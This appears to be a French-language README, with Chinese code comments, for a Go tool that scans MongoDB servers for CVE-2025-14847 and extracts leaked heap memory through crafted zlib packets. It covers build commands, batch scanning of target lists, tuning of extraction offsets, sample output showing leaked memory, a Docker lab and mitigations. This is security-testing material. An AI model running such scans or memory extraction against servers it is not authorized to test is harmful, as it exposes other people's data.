
Outil de détection de la vulnérabilité de fuite de mémoire MongoDB (CVE-2025-14847)
Outil de détection de la vulnérabilité de fuite de mémoire MongoDB (CVE-2025-14847)
⚠️ Avertissement important : cet outil est destiné uniquement aux tests de sécurité autorisés et à l'évaluation de vulnérabilités. Toute utilisation non autorisée peut enfreindre la loi.
CVE-2025-14847 est une grave vulnérabilité de fuite de mémoire dans le traitement du protocole de compression Zlib de MongoDB. Un attaquant peut envoyer des paquets compressés spécialement conçus pour amener MongoDB à renvoyer des données de mémoire tas non initialisées, susceptibles de contenir des informations sensibles.
| Plage de versions | Statut |
|---|---|
| 8.2.0 - 8.2.2 | ⚠️ Affectée |
| 8.0.0 - 8.0.16 | ⚠️ Affectée |
| 7.0.0 - 7.0.27 | ⚠️ Affectée |
| 6.0.0 - 6.0.26 | ⚠️ Affectée |
| 5.0.0 - 5.0.31 | ⚠️ Affectée |
| 4.4.0 - 4.4.29 | ⚠️ Affectée |
| 4.2.x toutes les versions | ⚠️ Affectée |
| 4.0.x toutes les versions | ⚠️ Affectée |
| 3.6.x toutes les versions | ⚠️ Affectée |
# 克隆仓库
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# 安装依赖
go mod download
# 编译
go build -o mongodb-scanner main.go
# 运行
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Téléchargez la version précompilée adaptée à votre système depuis la page Releases.
# 扫描单个目标
./mongodb-scanner -t 127.0.0.1:27017
# 从文件批量扫描
./mongodb-scanner -f targets.txt
# 批量扫描(20线程)
./mongodb-scanner -f targets.txt -c 20
# 扫描并保存存在漏洞的目标
./mongodb-scanner -f targets.txt -o vulnerable.txt
# 自定义偏移范围(更快速或更深度扫描)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
| Paramètre | Description | Valeur par défaut |
|---|---|---|
-t <target> | Cible unique (par exemple : 127.0.0.1:27017) | - |
-f <file> | Fichier de cibles (une cible par ligne) | - |
-c <num> | Nombre de threads concurrents | 10 |
-timeout <time> | Délai d'expiration de la connexion | 2s |
-o <file> | Fichier de sortie (enregistre les cibles vulnérables) | - |
--min-offset <num> | Décalage minimal de longueur de document | 20 |
--max-offset <num> | Décalage maximal de longueur de document | 8192 |
Créez un fichier targets.txt :
# MongoDB 目标列表
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# 如果不指定端口,默认使用 27017
192.168.1.101
Pour tester cet outil en toute sécurité, il est recommandé d'utiliser Docker pour mettre en place un environnement de test local.
# 启动 MongoDB 6.0.14 (受漏洞影响的版本) 并开启 Zlib 压缩
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# 查看容器状态
docker ps
# 测试漏洞
./mongodb-scanner -t 127.0.0.1:27017
Créez un fichier docker-compose.yml :
version: '3.8'
services:
# 受漏洞影响的版本(开启 Zlib)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# 已修复的版本(用于对比测试)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
Démarrage de l'environnement de test :
# 启动所有容器
docker-compose up -d
# 测试受漏洞影响的版本
./mongodb-scanner -t 127.0.0.1:27017
# 测试已修复的版本
./mongodb-scanner -t 127.0.0.1:27018
# 停止并清理
docker-compose down -v
# 停止并删除容器
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# 清理数据卷
docker volume prune -f
L'outil utilise des préfixes unifiés pour marquer les informations de sortie :
[*] - Informations (cible, version, configuration, etc.)[+] - Succès / vulnérable / données extraites[-] - Échec / sécurisé / non vulnérable[!] - Avertissement / remarque importante╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 漏洞检测工具 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ 仅用于授权安全测试 | 未经授权测试可能违法
[*] 目标: 1 | 线程: 10 | 超时: 2s | 偏移: 20-1000
[*] 开始扫描...
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[+] Zlib压缩: 已开启
[!] 漏洞可利用,开始提取内存...
[+] 偏移=229 长度=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - 漏洞可利用 (v6.0.14) - 3468ms
[+] 成功提取 1 项内存数据:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 1 | 安全: 0 | 耗时: 3.4s
======================================================================
[*] 目标: 127.0.0.1:27018
[*] 版本: 6.0.27
[-] 漏洞版本: 否
[-] 127.0.0.1:27018 - 版本安全 (v6.0.27) - 156ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.2s
======================================================================
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[-] Zlib压缩: 未开启
[-] 127.0.0.1:27017 - 未开启Zlib (v6.0.14) - 234ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.3s
======================================================================
[*] 目标: 5 | 线程: 10 | 超时: 2s | 偏移: 20-8192
[*] 开始扫描...
[+] 192.168.1.10:27017 - 漏洞可利用 (v6.0.14) - 3521ms
[+] 成功提取 2 项内存数据:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 - 版本安全 (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - 未开启Zlib (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - 漏洞可利用 (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - 漏洞可利用但未提取到数据 (v6.0.20) - 4123ms
======================================================================
[*] 扫描完成 | 总数: 5 | 可利用: 3 | 安全: 2 | 耗时: 5.2s
======================================================================
[+] 可利用的目标已保存到: vulnerable.txt
Cet outil utilise un mécanisme de détection en trois étapes :
buildInfo)| Condition | Résultat |
|---|---|
| Version vulnérable + Zlib activé + données extraites | ✅ Vulnérabilité exploitable - affiche les données divulguées |
| Version vulnérable + Zlib activé + aucune donnée extraite | ⚠️ Vulnérabilité exploitable mais aucune donnée extraite |
| Version vulnérable + Zlib désactivé | ❌ Zlib désactivé - non exploitable |
| Version non vulnérable | ✅ Version sécurisée |
Mettez immédiatement à niveau vers l'une des versions corrigées suivantes :
Si une mise à niveau n'est pas possible à court terme, les mesures temporaires suivantes peuvent être prises :
Configurez dans mongod.conf ou mongos.conf :
net:
compression:
compressors: []
Ou excluez explicitement zlib des paramètres de démarrage :
mongod --networkMessageCompressors snappy,zstd
Il est recommandé d'utiliser snappy ou zstd à la place de zlib :
net:
compression:
compressors: snappy,zstd
bindIp--auth)⚠️ Remarque importante : les mesures d'atténuation temporaires ne font que réduire le risque ; elles ne constituent pas une solution définitive. Il est fortement recommandé de mettre à niveau vers une version corrigée dès que possible.
Remarque importante :
En utilisant cet outil, vous acceptez :
Ce projet est publié sous licence open source MIT License.
Les Issues et Pull Requests sont les bienvenus !
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)onewinner - @onewinner
Adresse du projet : https://github.com/onewinner/CVE-2025-14847
⭐ Si ce projet vous a été utile, merci de lui donner une Star !
Made with ❤️ by Security Researchers